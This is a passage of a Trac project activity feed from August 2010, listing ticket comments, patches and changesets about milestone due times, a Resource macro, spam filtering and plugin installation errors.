09:16 InsideTrac: Trac - Ticket #9590 (Display of Patch/Diff file broken) updated by hakre: I needed to replace the original patch file of the example so making the example link not work any longer. To check, I've attached that original patch file here. I needed to put it in a zip otherwise it was reported as spam.
09:14 InsideTrac: Trac - 14726.zip attached to Ticket #9590 by hakre: example file that originally broke - patch on example page has been replaced
04:28 InsideTrac: Trac - Ticket #2662 (assign tickets to multiple users) updated by anonymous: This ticket is now open for 5 years. It would be nice to have a status update. Is this planned to ever be a feature of Trac or not? What is the progress? In my opinion, this is an essential feature for many organizations, in particular helpdesk departments (like the one I am setting up atm). I think implementing this is really difficult though. Trac never aimed to do authentication itself yet needs to interconnect with third party systems that are used in order to use the group information. Your thoughts please...
04:24 InsideTrac: Trac - Ticket #9511 (trac.versioncontrol.admin component should be optional) updated by Ryan J Ollos <ryano@…>: Replying to <a href="http://trac.edgewall.org/ticket/9511#comment:1" title="Comment 1 for Ticket #9511">rblank</a>: <blockquote class="citation"> I wonder if there are other similar holes in Trac... Like the logging setup panel, which could allow overwriting any file writable by the web server by specifying its path as the log file path. But that one can be disabled separately. </blockquote> As a matter of fact, the hosting provider that hosts my production Trac instance disabled access to the logging panel last year for this very reason, after I unknowingly brought this to their attention. It's a shared hosting environment and they considered this a security hole. Not having access to this panel turned out to be quite inconvenient for me, at least until the <a class="ext-link" href="http://trac-hacks.org/intertrac/LogViewerPlugin" title="LogViewerPlugin in Trac-Hacks Community Site"> th:LogViewerPlugin</a> came along. I had always meant to bring this up and see if a ticket should be filed for this issue.
04:11 InsideTrac: Trac - Ticket #9590 (Display of Patch/Diff file broken) created by hakre: When looking into an attachment that is a patch file that contains changes to PHP code that is related to Diff, it looks like trac has problems to properly display that patchfile. It just stops somewhere in between. Example: <a class="ext-link" href="http://core.trac.wordpress.org/attachment/ticket/14726/14726.2.patch"> http://core.trac.wordpress.org/attachment/ticket/14726/14726.2.patch</a>
03:48 InsideTrac: Trac - Ticket #5227 (provide option to insert summary in a ticket link) updated by Ryan J Ollos <ryano@…>: Cc changed

08/29/10:

21:09 InsideTrac: Trac - about:config created by anonymous
20:49 InsideTrac: Trac - Ticket #5227 (provide option to insert summary in a ticket link) updated by Mark Mc Mahon <mark.mcmahon@…>: I have added a new patch which allows multiple formats to be supplied. To tell the truth I feel that maybe a format string might be a good way to go for Resource.render_resource_link(). realm, version, id would be common parameters across all resource types, and then each individual resource may have other resource types (e.g. summary, status, etc for tickets, due_date for milestones, etc)
20:46 InsideTrac: Trac - resource_macro_multiple_formats.patch attached to Ticket #5227 by Mark Mc Mahon <mark.mcmahon@…>: Allow multiple formats separated with | character
18:51 InsideTrac: Trac - Changeset [10024]: 0.13dev: Merged [10019:10023] from 0.12-stable. by rblank: 0.13dev: Merged <a class="source" href="http://trac.edgewall.org/log/?revs=10019-10023">[10019:10023]</a> from 0.12-stable.
18:45 InsideTrac: Trac - Ticket #8341 ([PATCH] Add an option to send filenames) closed by rblank: wontfix: On second thought, I'd rather add a <tt>Content-Disposition</tt> header "manually" before calling <tt>send_file()</tt>, as this allows using either the <tt>inline</tt> or the <tt>attachment</tt> type.
18:32 InsideTrac: Trac - Ticket #9494 ([PATCH] $ticket_props doesn't wrap long field values in notification ...) updated by rblank: Priority changed
18:32 InsideTrac: Trac - Ticket #9371 (tracd --basic-auth doesn't work for SHA passwords) updated by rblank: Priority changed
18:31 InsideTrac: Trac - Ticket #7768 (add_script & add_stylesheet don't support external scripts) updated by rblank: Priority changed
18:28 InsideTrac: Trac - Ticket #9522 (Comma-seperated cc list without proper blanks will make no query links ...) closed by rblank: fixed: Fixed in <a class="changeset" href="http://trac.edgewall.org/changeset/10023" title="0.12.1dev: Fixed the auto-linkification of the CC ticket field, by ...">[10023]</a>.
18:27 InsideTrac: Trac - Changeset [10023]: 0.12.1dev: Fixed the auto-linkification of the CC ticket field, by ... by rblank: 0.12.1dev: Fixed the auto-linkification of the CC ticket field, by linkifying only non-obfuscated items. This also restores linkification of the CC field when previewing. Closes <a class="closed ticket" href="http://trac.edgewall.org/ticket/9522" title="defect: Comma-seperated cc list without proper blanks will make no query links ... (closed: fixed)">#9522</a>.
18:27 InsideTrac: Trac - Changeset [10023]: 0.12.1dev: Fixed the auto-linkification of the CC ticket field, by ... by rblank: 0.12.1dev: Fixed the auto-linkification of the CC ticket field, by linkifying only non-obfuscated items. This also restores linkification of the CC field when previewing. Closes <a class="new ticket" href="http://trac.edgewall.org/ticket/9522" title="defect: Comma-seperated cc list without proper blanks will make no query links ... (new)">#9522</a>.
16:45 InsideTrac: Trac - Ticket #6369 (Allow milestones to be set to a specific time) updated by rblank: Owner, Milestone changed As of <a class="changeset" href="http://trac.edgewall.org/changeset/10022" title="0.12.1dev: Made the due date for milestones a due date + time, and fixed ...">[10022]</a>, the milestone due date is a date + time. What remains to be done is defaulting to 12:00 (or possibly 18:00, the end of the day) in the user's local timezone, which probably requires adding a checkbox like for the "Completed" date.
16:42 InsideTrac: Trac - Ticket #9582 ('Due in' information is incorrect for milestones due today) updated by rblank: Owner changed
16:42 InsideTrac: Trac - Ticket #9582 ('Due in' information is incorrect for milestones due today) closed by rblank: fixed: Patch (including fixes from <a href="http://trac.edgewall.org/ticket/9582#comment:21" title="Comment 21 for Ticket #9582">comment:21</a>) applied in <a class="changeset" href="http://trac.edgewall.org/changeset/10022" title="0.12.1dev: Made the due date for milestones a due date + time, and fixed ...">[10022]</a>. I'll close this ticket, and we can continue with the "12:00 default" (or 18:00 or whatever) in <a class="new ticket" href="http://trac.edgewall.org/ticket/6369" title="enhancement: Allow milestones to be set to a specific time (new)">#6369</a>.
16:36 InsideTrac: Trac - Changeset [10022]: 0.12.1dev: Made the due date for milestones a due date + time, and fixed ... by rblank: 0.12.1dev: Made the due date for milestones a due date + time, and fixed <tt>Milestone.is_late</tt> when using different timezones. Initial patch (and hence most of the work done by) Ryan J Ollos. Closes <a class="closed ticket" href="http://trac.edgewall.org/ticket/9582" title="defect: 'Due in' information is incorrect for milestones due today (closed: fixed)">#9582</a>.
16:36 InsideTrac: Trac - Changeset [10022]: 0.12.1dev: Made the due date for milestones a due date + time, and fixed ... by rblank: 0.12.1dev: Made the due date for milestones a due date + time, and fixed <tt>Milestone.is_late</tt> when using different timezones. Initial patch (and hence most of the work done by) Ryan J Ollos. Closes <a class="new ticket" href="http://trac.edgewall.org/ticket/9582" title="defect: 'Due in' information is incorrect for milestones due today (new)">#9582</a>.
11:09 InsideTrac: Trac - Ticket #8406 (ExternalLinksFilterStrategy should allow Whitelisting) closed by dstoecker: fixed: In <a class="changeset" href="http://trac.edgewall.org/changeset/10021" title="TracSpamFilter: update to 0.3.4 - close #8406">r10021</a>.
11:08 InsideTrac: Trac - Changeset [10021]: TracSpamFilter: update to 0.3.4 - close #8406 by dstoecker: <a class="missing wiki" href="http://trac.edgewall.org/wiki/TracSpamFilter" rel="nofollow">TracSpamFilter?</a>: update to 0.3.4 - close <a class="closed ticket" href="http://trac.edgewall.org/ticket/8406" title="enhancement: ExternalLinksFilterStrategy should allow Whitelisting (closed: fixed)">#8406</a>
11:08 InsideTrac: Trac - Changeset [10021]: TracSpamFilter: update to 0.3.4 - close #8406 by dstoecker: <a class="missing wiki" href="http://trac.edgewall.org/wiki/TracSpamFilter" rel="nofollow">TracSpamFilter?</a>: update to 0.3.4 - close <a class="new ticket" href="http://trac.edgewall.org/ticket/8406" title="enhancement: ExternalLinksFilterStrategy should allow Whitelisting (new)">#8406</a>
10:23 InsideTrac: Trac - Ticket #9583 (SpamFilter option to not filter attachments) updated by dstoecker: Implementation suggestion: Providing a score selection for attachments. For Track-Hacks this can then be set e.g. to 1000. Default should be 0.
07:16 InsideTrac: Trac - Ticket #9582 ('Due in' information is incorrect for milestones due today) updated by rblank: Replying to <a href="http://trac.edgewall.org/ticket/9582#comment:18" title="Comment 18 for Ticket #9582">Ryan J Ollos <ryano@…></a>: <blockquote class="citation"> It seems like we want to set the default time to 12:00:00 in <tt>parse_date</tt>, because prior to <tt>parse_date</tt>, we are working with a string rather than a datetime object, which seems tedious. After the call to <tt>parse_date</tt>, we have no way of knowing if the user entered 00:00:00 for the duetime, or if they entered no duetime. </blockquote> Correct, and I wouldn't even try to guess. I would just set a default with 12:00 when displaying the milestone edit page and no due date is currently set. Look what happens when a milestone has no "completed" date, and you edit the milestone: the "Completed" checkbox is unchecked, and the "Completed" text box has the current date and time. So if you check the checkbox, the default value for the completion date is the current date and time. We could do the same for the due date, except with a time of 12:00. If there is no due date, the "Due" checkbox is unchecked, and the "Due" text box is populated with the current date, and a time of 12:00. So when I check the "Due" checkbox, I have a sensible default, and I just need to edit the date and leave the time at 12:00. Sure, the best option would be to detect when the user only enters a date, and set the time to 12:00 in that case, but I'm not sure we can even detect this (with all possible date / time formats). If you find a way to do that, great! Assuming a time of 00:00 means "no time" could be good enough, though. Replying to <a href="http://trac.edgewall.org/ticket/9582#comment:19" title="Comment 19 for Ticket #9582">Ryan J Ollos <ryano@…></a>: <blockquote class="citation"> I have to wonder if we want to modify the islate property of the Milestone object accordingly. </blockquote> Yes, absolutely, I had forgotten about that. I'll fix that and the version box width, and apply the patch. Then I'll wait for your patch for the default due time.
07:04 InsideTrac: Trac - Ticket #9582 ('Due in' information is incorrect for milestones due today) updated by rblank: Replying to <a href="http://trac.edgewall.org/ticket/9582#comment:17" title="Comment 17 for Ticket #9582">Ryan J Ollos <ryano@…></a>: <blockquote class="citation"> The only thing I would change is something that I just now noticed and somewhat unrelated to this ticket. Add 2 px to the width of the Name: textbox on the Versions admin panel, so that it is the same as the width of the Due: textbox (which is a change we already made for the Milestone panel). </blockquote> Those are characters, not pixels. And the width of the date box is calculated from the length of the date hint, so it's not constant. But yes, we should be consistent between version and milestone, and a larger field is certainly more user-friendly.
07:01 InsideTrac: Trac - Ticket #5227 (provide option to insert summary in a ticket link) updated by rblank: Replying to <a href="http://trac.edgewall.org/ticket/5227#comment:11" title="Comment 11 for Ticket #5227">Mark Mc Mahon <mark.mcmahon@…></a>: <blockquote class="citation"> I guess you could.. <pre class="wiki">[[Resource(ticket,23,format=compact]][[Resource(ticket,23,format=summary]] </pre></blockquote> Or even: <pre class="wiki">[[Resource(ticket,23,format=compact|summary]] </pre> and have the macro concatenate both.
05:55 InsideTrac: Trac - Ticket #9582 ('Due in' information is incorrect for milestones due today) updated by Ryan J Ollos <ryano@…>: I found a lingering issue with the fix so far ... Going back to the original issue that I filed the report about, it seems that the overall problem was that calculations were done by treating the milestone due field as having resolution of seconds, but the user was only allowed to specify the due date with a resolution of days. Now that we have a patch that increases the resolution with which a user can specify a milestone, I have to wonder if we want to modify the islate property of the Milestone object accordingly. Currently, it only treats milestone.due as having a resolution of days: <div class="code"><pre> is_late = property(fget=lambda self: self.due and \ self.due.date() < date.today()) </pre></div> We still see one of the originally reported problems. I created a milestone just now and set the due date to about 2 hours ago. The milestone says Due in 109 minutes (08/29/2010 01:00:00 AM), which is incorrect, because our is_late calculation is still incorrect.
05:30 InsideTrac: Trac - Ticket #9582 ('Due in' information is incorrect for milestones due today) updated by Ryan J Ollos <ryano@…>: Replying to <a href="http://trac.edgewall.org/ticket/9582#comment:15" title="Comment 15 for Ticket #9582">rblank</a>: <blockquote class="citation"> <ul><li>Ok for doing the "default to 12:00" in <a class="new ticket" href="http://trac.edgewall.org/ticket/6369" title="enhancement: Allow milestones to be set to a specific time (new)">#6369</a>. No need for a <tt>trac.ini</tt> option for the default duetime, just use 12:00. </li><li>The checkbox is actually meant for <a class="new ticket" href="http://trac.edgewall.org/ticket/6369" title="enhancement: Allow milestones to be set to a specific time (new)">#6369</a>. If a milestone has no due time, the "Due" field should be populated with the current date, 12:00. However, just doing this will require the user removing the due time every time if she doesn't want to set one, which is not user friendly. So the suggestion is to do the same as for the "Completed" field, and have a checkbox to explicitly set or disable the due date. </li></ul></blockquote> Looking forward to implementing this next. I'm not sure of the best way to default to 12:00:00, but I've given it some thought. In the _do_save method of the MilestoneModule class in <tt>roadmap.py</tt>, we have: <div class="code"><pre> due = req.args.get('duedate', '') milestone.due = due and parse_date(due, req.tz, 'datetime') or None </pre></div> It seems like we want to set the default time to 12:00:00 in <tt>parse_date</tt>, because prior to <tt>parse_date</tt>, we are working with a string rather than a datetime object, which seems tedious. After the call to <tt>parse_date</tt>, we have no way of knowing if the user entered 00:00:00 for the duetime, or if they entered no duetime. However, I have to wonder if this is an appropriate change to make to <tt>parse_date</tt> given the likelihood that it is used elsewhere is Trac.
05:13 InsideTrac: Trac - Ticket #9582 ('Due in' information is incorrect for milestones due today) updated by Ryan J Ollos <ryano@…>: The patch appears to function well. Your implementation of the datetime hint is very clean, and it was nice to see a better implementation than what I came up with! The Web Admin panel has a nice consistency now between the Milestone and Versions panel. The Add boxes are identical with exception to their labels, which of course should be different. <a href="http://trac.edgewall.org/attachment/ticket/9582/AddMilestone.png"><img src="http://trac.edgewall.org/raw-attachment/ticket/9582/AddMilestone.png" /></a> <a href="http://trac.edgewall.org/attachment/ticket/9582/AddVersion.png"><img src="http://trac.edgewall.org/raw-attachment/ticket/9582/AddVersion.png" /></a> The only thing I would change is something that I just now noticed and somewhat unrelated to this ticket. Add 2 px to the width of the Name: textbox on the Versions admin panel, so that it is the same as the width of the Due: textbox (which is a change we already made for the Milestone panel). <div class="diff"> <ul class="entries"> <li class="entry"> <h2> <a>trac-0.12-stable-2/trac/admin/templates/admin_versions.html</a> </h2> <table class="trac-diff inline" summary="Differences" cellspacing="0"> <colgroup><col class="lineno" /><col class="lineno" /><col class="content" /></colgroup> <thead> <tr> <th title="File trac-0.12-stable-2/trac/admin/templates/admin_versions.html (revision 10020)"> </th> <th title="File trac-0.12-stable-2/trac/admin/templates/admin_versions.html (working copy)"> </th> <td> </td> </tr> </thead> <tbody class="unmod"> <tr> <th>53</th><th>53</th><td class="l">          <fieldset> </td> </tr><tr> <th>54</th><th>54</th><td class="l">            <legend>Add Version:</legend> </td> </tr><tr> <th>55</th><th>55</th><td class="l">            <div class="field"> </td> </tr> </tbody><tbody class="mod"> <tr class="first"> <th>56</th><th> </th><td class="l">              <label>Name: <input type="text" name="name" id="name" <del></del>/></label> </td> </tr> <tr class="last"> <th> </th><th>56</th><td class="r">              <label>Name: <input type="text" name="name" id="name" <ins>size="22"</ins>/></label> </td> </tr> </tbody><tbody class="unmod"> <tr> <th>57</th><th>57</th><td class="l">            </div> </td> </tr><tr> <th>58</th><th>58</th><td class="l">            <div class="field"> </td> </tr><tr> <th>59</th><th>59</th><td class="l">              <label>Released: </td> </tr> </tbody> </table> </li> </ul> </div>
05:12 InsideTrac: Trac - Ticket #9568 (Preferences -> Syntax Highlighting style selectbox should be binded to the ...) updated by shesek: Great. thanks for taking the time to fix even such a minor issue :-)
05:09 InsideTrac: Trac - admin.versions.html.patch attached to Ticket #9582 by Ryan J Ollos <ryano@…>
04:49 InsideTrac: Trac - AddVersion.png attached to Ticket #9582 by Ryan J Ollos <ryano@…>
04:49 InsideTrac: Trac - AddMilestone.png attached to Ticket #9582 by Ryan J Ollos <ryano@…>
04:08 InsideTrac: Trac - Ticket #5227 (provide option to insert summary in a ticket link) updated by Mark Mc Mahon <mark.mcmahon@…>: I guess you could.. <pre class="wiki">[[Resource(ticket,23,format=compact]][[Resource(ticket,23,format=summary]] </pre> would produce something like <pre class="wiki">#23 defect: Prettier "Access Denied" message.(closed) </pre> I just noticed that the doc string in the patch is incorrect - it mentions 'complete' rather than 'summary' format.
02:16 InsideTrac: Trac - Ticket #5227 (provide option to insert summary in a ticket link) updated by rblank: Replying to <a href="http://trac.edgewall.org/ticket/5227#comment:9" title="Comment 9 for Ticket #5227">Mark Mc Mahon <mark.mcmahon@…></a>: <blockquote class="citation"> Oh - and maybe to achieve the proposed return value above how about a 'complete' resource display format? </blockquote> Isn't there already a "short" format that returns the short form of the link? This could be used in combination with the default format.
02:13 InsideTrac: Trac - SeaChange/WhatUsersWant edited by andhos@…: voting (<a href="http://trac.edgewall.org/wiki/SeaChange/WhatUsersWant?action=diff&version=142">diff</a>)
01:26 InsideTrac: Trac - Ticket #5227 (provide option to insert summary in a ticket link) updated by Mark Mc Mahon <mark.mcmahon@…>: Oh - and maybe to achieve the proposed return value above how about a 'complete' resource display format? which would also include the defect number? (Summary doesn't contain the <tt>#23</tt> in <tt>#23: Prettier "Access Denied" message.</tt> i.e. the 'summary' format is <tt>defect: Prettier "Access Denied" message.(closed)</tt>
01:19 InsideTrac: Trac - resource_macro.patch attached to Ticket #5227 by Mark Mc Mahon <mark.mcmahon@…>: Simple resource macro
01:18 InsideTrac: Trac - Ticket #5227 (provide option to insert summary in a ticket link) updated by mark.m.mcmahon@…: OK - I made a few false starts, but I put together a fairly simple Resource macro that might do. I would guess I am being too lenient for parameters (e.g. stripping whitespace, and allowing parameters to be passed as args or keywords). Removing most of that would make the macro super simple :)

08/28/10:

19:22 InsideTrac: Trac - Ticket #7768 (add_script & add_stylesheet don't support external scripts) updated by Ryan J Ollos <ryano@…>: Cc changed
16:58 InsideTrac: Trac - Ticket #9588 (TicketQueryMacro should be able to filter fields by date range) updated by Ryan J Ollos <ryano@…>: Cc changed Replying to <a href="http://trac.edgewall.org/ticket/9588#comment:2" title="Comment 2 for Ticket #9588">anonymous</a>: <blockquote class="citation"> Another idea that may help solve this issue (and is usefull by itself) is to be able to use the <a class="wiki" href="http://trac.edgewall.org/wiki/TicketQuery">TicketQuery</a> starting from a given report. That is, the same macro as today, but to be able to specify on which report to perform the query. This way, one could write a "Closed in past N days report" and then use this report (view) in a <a class="wiki" href="http://trac.edgewall.org/wiki/TicketQuery">TicketQuery</a> and further filter it by component or owner or whatever. </blockquote> Even if that modification is not made to the <a class="wiki" href="http://trac.edgewall.org/wiki/TicketQuery">TicketQuery</a> macro, I could see how that would make a useful macro available through t-h.o ... ReportQueryMacro?
16:36 InsideTrac: Trac - Ticket #9589 (ExtractionError: Can't extract file(s) to egg cache, [Errno 20] Not a ...) updated by gardiner91@…: The Directory Does Exist, The message does change depending on the egg cache directory. But as its says "Not a directory" Would mean it must be a file so somehow it is trying to write the cache to a file?
12:12 InsideTrac: Trac - Ticket #9589 (ExtractionError: Can't extract file(s) to egg cache, [Errno 20] Not a ...) closed by rblank: cantfix: If the message is always the same (including the path), then you don't set the egg cache path correctly. You also need to make sure that the user running the web server has read and write access to the egg cache. The error "Not a directory" may give a hint: does the egg cache directory actually exist, and is it a directory? Anyway, this is a local <a class="wiki" href="http://trac.edgewall.org/wiki/InstallationIssue">InstallationIssue</a>, and you may have more success on the <a class="wiki" href="http://trac.edgewall.org/wiki/MailingList">MailingList</a> or <a class="wiki" href="http://trac.edgewall.org/wiki/IrcChannel">IrcChannel</a>.
12:08 InsideTrac: Trac - Ticket #7768 (add_script & add_stylesheet don't support external scripts) updated by rblank: Owner, Milestone changed Looks good.
08:42 InsideTrac: Trac - Ticket #9589 (ExtractionError: Can't extract file(s) to egg cache, [Errno 20] Not a ...) created by gardiner91@…: When installing a plugin after uploading finishes this message is displayed. I've tried changing permissions, changing python_egg_cache directory. But after removing plugin from "plugins/" directory everything works perfectly. I've tried alot of different cache directory's: <ul><li>/root/.python_egg </li><li>/tmp </li><li>/usr/local/lib/python2.7/python_egg_cache </li></ul> All returning same results. Error Message: <pre class="wiki">Traceback (most recent call last): File "/usr/local/lib/python2.7/site-packages/Trac-0.11-py2.7.egg/trac/web/api.py", line 339, in send_error 'text/html') File "/usr/local/lib/python2.7/site-packages/Trac-0.11-py2.7.egg/trac/web/chrome.py", line 683, in render_template template = self.load_template(filename, method=method) File "/usr/local/lib/python2.7/site-packages/Trac-0.11-py2.7.egg/trac/web/chrome.py", line 659, in load_template self.templates = TemplateLoader(self.get_all_templates_dirs(), File "/usr/local/lib/python2.7/site-packages/Trac-0.11-py2.7.egg/trac/web/chrome.py", line 406, in get_all_templates_dirs dirs += provider.get_templates_dirs() File "/var/repositories/_web/trac/xxxxxxxxx/plugins/TracDownloader-0.1-trac-0.11.egg/tracdownloader/web_ui.py", line 706, in get_templates_dirs return [resource_filename(__name__, 'templates')] File "build/bdist.linux-i686/egg/pkg_resources.py", line 882, in resource_filename self, resource_name File "build/bdist.linux-i686/egg/pkg_resources.py", line 1352, in get_resource_filename return self._extract_resource(manager, zip_path) File "build/bdist.linux-i686/egg/pkg_resources.py", line 1359, in _extract_resource manager, os.path.join(zip_path, name) File "build/bdist.linux-i686/egg/pkg_resources.py", line 1406, in _extract_resource manager.extraction_error() # report a user-friendly error File "build/bdist.linux-i686/egg/pkg_resources.py", line 928, in extraction_error raise err ExtractionError: Can't extract file(s) to egg cache The following error occurred while trying to extract file(s) to the Python egg cache: [Errno 20] Not a directory The Python egg cache directory is currently set to: /usr/local/lib/python2.7/python_egg_cache Perhaps your account does not have write access to this directory? You can change the cache directory by setting the PYTHON_EGG_CACHE environment variable to point to an accessible directory. </pre> Python Version: <pre class="wiki">Python 2.7 (r27:82500, Aug 28 2010, 22:33:52) [GCC 3.4.6 20060404 (Red Hat 3.4.6-11)] on linux2 Type "help", "copyright", "credits" or "license" for more information. </pre> Trac Version: <pre class="wiki">tracd 0.11 </pre> OS Version: <pre class="wiki">Linux xxxxxxx.xxxxxxxxxxxxxx.xxx 2.6.18-93.cc4 #1 SMP Mon Aug 11 20:37:16 EDT 2008 i686 i686 i386 GNU/Linux </pre>
07:00 InsideTrac: Trac - allow_absolute_urls_for_add_script_add_stylesheet.patch attached to Ticket #7768 by mark.m.mcmahon@…: Adds a check for the filename starting with http
06:59 InsideTrac: Trac - Ticket #7768 (add_script & add_stylesheet don't support external scripts) updated by mark.m.mcmahon@…: Not really sure if this patch is correct or not - but adding it here for feedback/improvements.
06:01 InsideTrac: Trac - Ticket #9108 (missing id tags for input fields in admin_versions.html) updated by rblank: Owner changed
06:00 InsideTrac: Trac - Ticket #9108 (missing id tags for input fields in admin_versions.html) closed by rblank: fixed: Thanks, applied in <a class="changeset" href="http://trac.edgewall.org/changeset/10020" title="0.12.1dev: Added `id` attributes to the version admin panel date fields. ...">[10020]</a>.
06:00 InsideTrac: Trac - Changeset [10020]: 0.12.1dev: Added `id` attributes to the version admin panel date fields. ... by rblank: 0.12.1dev: Added <tt>id</tt> attributes to the version admin panel date fields. Patch by Mark Mc Mahon. Closes <a class="closed ticket" href="http://trac.edgewall.org/ticket/9108" title="enhancement: missing id tags for input fields in admin_versions.html (closed: fixed)">#9108</a>.
05:38 InsideTrac: Trac - add_id_to_datetime_fields_for_calendarpopup_plugin.patch attached to Ticket #9108 by mark.m.mcmahon@…: Add Id's to the two datetime fields that did not have them (for calendarpopup plugin)
05:37 InsideTrac: Trac - Ticket #9108 (missing id tags for input fields in admin_versions.html) updated by anonymous: I added ID's to the two date fields in trac/admin/templates/admin_versions.ini These were the ONLY instances where I could find date entry fields that did not have an ID (I searched for <tt>format_datetime</tt> in *.html.
05:07 InsideTrac: Trac - Ticket #9588 (TicketQueryMacro should be able to filter fields by date range) updated by anonymous: Another idea that may help solve this issue (and is usefull by itself) is to be able to use the <a class="wiki" href="http://trac.edgewall.org/wiki/TicketQuery">TicketQuery</a> starting from a given report. That is, the same macro as today, but to be able to specify on which report to perform the query. This way, one could write a "Closed in past N days report" and then use this report (view) in a <a class="wiki" href="http://trac.edgewall.org/wiki/TicketQuery">TicketQuery</a> and further filter it by component or owner or whatever.
03:53 InsideTrac: Trac - Ticket #9583 (SpamFilter option to not filter attachments) updated by mrenzmann@…: Upgrading to Trac 0.12 is on the to-do-list already. We give a positive score of 9 for registered users, but in the mentioned cases they are "eaten" by negative points caused by the number of external URLs in the attachments. From what I can tell at this time, t-h.o currently sees only few spam attachments - most spam gets sent as comments to tickets or malicious edits of wiki pages.
03:18 InsideTrac: Trac - Ticket #7124 (TitleIndex (optionally) does not show pages shipped with Trac) updated by rblank: Priority, Milestone changed Nice patch, thanks!
03:04 InsideTrac: Trac - Ticket #9581 (Documentation page for TracIni should list or have reference to allowed ...) updated by Ryan J Ollos <ryano@…>: Replying to <a href="http://trac.edgewall.org/ticket/9581#comment:4" title="Comment 4 for Ticket #9581">rblank</a>: <blockquote class="citation"> What do you mean with "doesn't seem to be behaving well"? Don't hesitate to post a patch (even incomplete). </blockquote> I'm struggling a bit with passing data between the template and render_admin_panel. I'll spend a little bit of time with it tomorrow morning, and then post what I have so far (and also spend some time testing your revised patch in <a class="closed ticket" href="http://trac.edgewall.org/ticket/9582" title="defect: 'Due in' information is incorrect for milestones due today (closed: fixed)">#9582</a> at that time). Thanks!
03:04 InsideTrac: Trac - Ticket #9581 (Documentation page for TracIni should list or have reference to allowed ...) updated by Ryan J Ollos <ryano@…>: Replying to <a href="http://trac.edgewall.org/ticket/9581#comment:4" title="Comment 4 for Ticket #9581">rblank</a>: <blockquote class="citation"> What do you mean with "doesn't seem to be behaving well"? Don't hesitate to post a patch (even incomplete). </blockquote> I'm struggling a bit with passing data between the template and render_admin_panel. I'll spend a little bit of time with it tomorrow morning, and then post what I have so far (and also spend some time testing your revised patch in <a class="new ticket" href="http://trac.edgewall.org/ticket/9582" title="defect: 'Due in' information is incorrect for milestones due today (new)">#9582</a> at that time). Thanks!
02:59 InsideTrac: Trac - Ticket #7124 (TitleIndex (optionally) does not show pages shipped with Trac) updated by mark.m.mcmahon@…: I also liked include and exclude more than omit as they seem more consistent. I have coded it up, and it seems to work well - I added a few tests also (included in the patch).
02:59 InsideTrac: Trac - trac-0.13.dev-wiki-macros.patch attached to Ticket #7124 by mark.m.mcmahon@…: Patch to allow extra filtering in the <a class="wiki" href="http://trac.edgewall.org/wiki/TitleIndex">TitleIndex</a> macro
01:20 InsideTrac: Trac - Ticket #9588 (TicketQueryMacro should be able to filter fields by date range) updated by Ryan J Ollos <ryano@…>: Summary changed I've changed the ticket description so that this is not easily confused with a similar and common feature request, to be implemented in Reports (which can be done by writing a SQL query). I'd find a feature such as this useful since I have Recently Completed Tickets listed on <a class="wiki" href="http://trac.edgewall.org/wiki/WikiStart">WikiStart</a> of my Trac site, but the resulting list is not actually a list of the most recently completed tickets, but rather the most recently updated tickets that have status closed. This is the best I've been able to come up with given the existing TicketQuery Macro's functionality <pre class="wiki">[[TicketQuery(format=list, max=5, status=closed, resolution=fixed, desc=True, order=changetime)]] </pre> <div><dl class="wiki compact"><dt><a class="closed" href="http://trac.edgewall.org/ticket/8406" title="ExternalLinksFilterStrategy should allow Whitelisting">#8406</a></dt><dd>ExternalLinksFilterStrategy should allow Whitelisting</dd><dt><a class="closed" href="http://trac.edgewall.org/ticket/9568" title="Preferences -> Syntax Highlighting style selectbox should be binded to the ..."> Syntax Highlighting style selectbox should be binded to the ...">#9568</a></dt><dd>Preferences -> Syntax Highlighting style selectbox should be binded to the keydown event too</dd><dt><a class="closed" href="http://trac.edgewall.org/ticket/9108" title="missing id tags for input fields in admin_versions.html">#9108</a></dt><dd>missing id tags for input fields in admin_versions.html</dd><dt><a class="closed" href="http://trac.edgewall.org/ticket/9210" title="Plugin admin PostgreSQLConnector">#9210</a></dt><dd>Plugin admin PostgreSQLConnector</dd><dt><a class="closed" href="http://trac.edgewall.org/ticket/9542" title="">#9542</a></dt><dd>"Browse Source" button is not shown for anonymous users when AuthzSourcePolicy is used</dd></dl></div>
01:20 InsideTrac: Trac - Ticket #9588 (TicketQueryMacro should be able to filter fields by date range) updated by Ryan J Ollos <ryano@…>: Summary changed I've changed the ticket description so that this is not easily confused with a similar and common feature request, to be implemented in Reports (which can be done by writing a SQL query). I'd find a feature such as this useful since I have Recently Completed Tickets listed on <a class="wiki" href="http://trac.edgewall.org/wiki/WikiStart">WikiStart</a> of my Trac site, but the resulting list is not actually a list of the most recently completed tickets, but rather the most recently updated tickets that have status closed. This is the best I've been able to come up with given the existing TicketQuery Macro's functionality <pre class="wiki">[[TicketQuery(format=list, max=5, status=closed, resolution=fixed, desc=True, order=changetime)]] </pre> <div><dl class="wiki compact"><dt><a class="closed" href="http://trac.edgewall.org/ticket/9108" title="missing id tags for input fields in admin_versions.html">#9108</a></dt><dd>missing id tags for input fields in admin_versions.html</dd><dt><a class="closed" href="http://trac.edgewall.org/ticket/9210" title="Plugin admin PostgreSQLConnector">#9210</a></dt><dd>Plugin admin PostgreSQLConnector</dd><dt><a class="closed" href="http://trac.edgewall.org/ticket/9568" title="Preferences -> Syntax Highlighting style selectbox should be binded to the ..."> Syntax Highlighting style selectbox should be binded to the ...">#9568</a></dt><dd>Preferences -> Syntax Highlighting style selectbox should be binded to the keydown event too</dd><dt><a class="closed" href="http://trac.edgewall.org/ticket/9542" title="">#9542</a></dt><dd>"Browse Source" button is not shown for anonymous users when AuthzSourcePolicy is used</dd><dt><a class="closed" href="http://trac.edgewall.org/ticket/8597" title="Modifications to Cc list can show 'removed' in comment even if no one was ...">#8597</a></dt><dd>Modifications to Cc list can show 'removed' in comment even if no one was removed</dd></dl></div>
01:20 InsideTrac: Trac - Ticket #9588 (TicketQueryMacro should be able to filter fields by date range) updated by Ryan J Ollos <ryano@…>: Summary changed I've changed the ticket description so that this is not easily confused with a similar and common feature request, to be implemented in Reports (which can be done by writing a SQL query). I'd find a feature such as this useful since I have Recently Completed Tickets listed on <a class="wiki" href="http://trac.edgewall.org/wiki/WikiStart">WikiStart</a> of my Trac site, but the resulting list is not actually a list of the most recently completed tickets, but rather the most recently updated tickets that have status closed. This is the best I've been able to come up with given the existing TicketQuery Macro's functionality <pre class="wiki">[[TicketQuery(format=list, max=5, status=closed, resolution=fixed, desc=True, order=changetime)]] </pre> <div><dl class="wiki compact"><dt><a class="closed" href="http://trac.edgewall.org/ticket/9210" title="Plugin admin PostgreSQLConnector">#9210</a></dt><dd>Plugin admin PostgreSQLConnector</dd><dt><a class="closed" href="http://trac.edgewall.org/ticket/9568" title="Preferences -> Syntax Highlighting style selectbox should be 